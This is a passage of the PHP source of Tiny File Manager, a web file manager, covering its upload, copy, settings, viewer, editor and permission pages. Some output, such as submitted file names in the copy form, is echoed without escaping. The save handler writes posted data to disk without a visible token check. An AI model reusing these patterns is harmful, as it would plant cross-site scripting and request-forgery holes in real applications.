                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple />
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook">
                            <div></div>
                            <div></div>
                            <div></div>
                        </div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles: "<?php echo getUploadExt() ?>",
            init: function() {
                this.on("sending", function(file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function(res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if (_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
<?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <div class="card" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input">
                        <label for="js-move-files" class="custom-control-label ms-2"><?php echo lng('Move') ?></label>
                    </p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
            ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
            ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a>
                </li>
            <?php
            }
            ?>
        </ul>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l)
                                {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' " . getSelected($k) . ">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100 text-capitalize" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if ($theme == "light") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('light') ?>
                                </option>
                                <option value='dark' <?php if ($theme == "dark") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('dark') ?>
                                </option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                    <small class="text-body-secondary">* <?php echo lng('Sometimes the save action may not work on the first try, so please attempt it again') ?>.</span>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p>
                        <h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3>
                        </p>
                        <p>Author: PRAŚATH MANİ</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers [at] gmail [dot] com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if (!FM_READONLY) { ?>
                                    <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="row">
        <div class="col-12">
            <ul class="list-group w-50 my-3" data-bs-theme="<?php echo FM_THEME; ?>">
                <li class="list-group-item active" aria-current="true"><strong><?php echo lng($view_title) ?>:</strong> <?php echo fm_enc(fm_convert_win($file)) ?></li>
                <?php $display_path = fm_get_display_path($file_path); ?>
                <li class="list-group-item"><strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?></li>
                <li class="list-group-item"><strong><?php echo lng('Date Modified') ?>:</strong> <?php echo date(FM_DATETIME_FORMAT, filemtime($file_path)); ?></li>
                <li class="list-group-item"><strong><?php echo lng('File size') ?>:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?></li>
                <li class="list-group-item"><strong><?php echo lng('MIME-type') ?>:</strong> <?php echo $mime_type ?></li>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                ?>
                    <li class="list-group-item"><?php echo lng('Files in archive') ?>: <?php echo $total_files ?></li>
                    <li class="list-group-item"><?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?></li>
                    <li class="list-group-item"> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?></li>
                    <li class="list-group-item"><?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%</li>
                <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<li class="list-group-item"><strong>' . lng('Image size') . ':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '</li>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<li class="list-group-item"><strong>' . lng('Charset') . ':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '</li>';
                }
                ?>
            </ul>
            <div class="btn-group btn-group-sm flex-wrap" role="group">
                <form method="post" class="d-inline mb-0 btn btn-outline-primary" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link btn-sm text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <?php if (!FM_READONLY): ?>
                    <a class="fw-bold btn btn-outline-primary" title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($file) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($file); ?>', this.href);"> <i class="fa fa-trash"></i> Delete</a>
                <?php endif; ?>
                <a class="fw-bold btn btn-outline-primary" href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0 border-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>
                <?php
                }
                if ($is_text && !FM_READONLY) {
                ?>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file">
                        <i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                    </a>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                        class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('AdvancedEditor') ?>
                    </a>
                <?php } ?>
                <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
            </div>
            <div class="row mt-3">
                <?php
                if ($is_onlineViewer) {
                    if ($online_viewer == 'google') {
                        echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    } else if ($online_viewer == 'microsoft') {
                        echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    }
                } elseif ($is_zip) {
                    // ZIP content
                    if ($filenames !== false) {
                        echo '<code class="maxheight">';
                        foreach ($filenames as $fn) {
                            if ($fn['folder']) {
                                echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                            } else {
                                echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                            }
                        }
                        echo '</code>';
                    } else {
                        echo '<p>' . lng('Error while fetching archive info') . '</p>';
                    }
                } elseif ($is_image) {
                    // Image content
                    if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                        echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                    }
                } elseif ($is_audio) {
                    // Audio content
                    echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
                } elseif ($is_video) {
                    // Video content
                    echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
                } elseif ($is_text) {
                    if (FM_USE_HIGHLIGHTJS) {
                        // highlight
                        $hljs_classes = array(
                            'shtml' => 'xml',
                            'htaccess' => 'apache',
                            'phtml' => 'php',
                            'lock' => 'json',
                            'svg' => 'xml',
                        );
                        $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                        if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                            $hljs_class = 'nohighlight';
                        }
                        $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                    } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                        // php highlight
                        $content = highlight_string($content, true);
                    } else {
                        $content = '<pre>' . fm_enc($content) . '</pre>';
                    }
                    echo $content;
                }
                ?>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>' . $file . '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block">
                                <option>-- <?php echo lng('Select Mode') ?> --</option>
                            </select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Theme') ?> --</option>
                            </select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Font Size') ?> --</option>
                            </select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <div class="btn-group">
                    <a title=" <?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                    <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                    <?php if ($is_text) { ?>
                        <?php if ($isNormalEditor) { ?>
                            <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                            </button>
                        <?php } else { ?>
                            <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                            </button>
                        <?php } ?>
                    <?php } ?>
                </div>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
<?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
?>
    <div class="path">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table" data-bs-theme="<?php echo FM_THEME; ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1" <?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1" <?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1" <?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
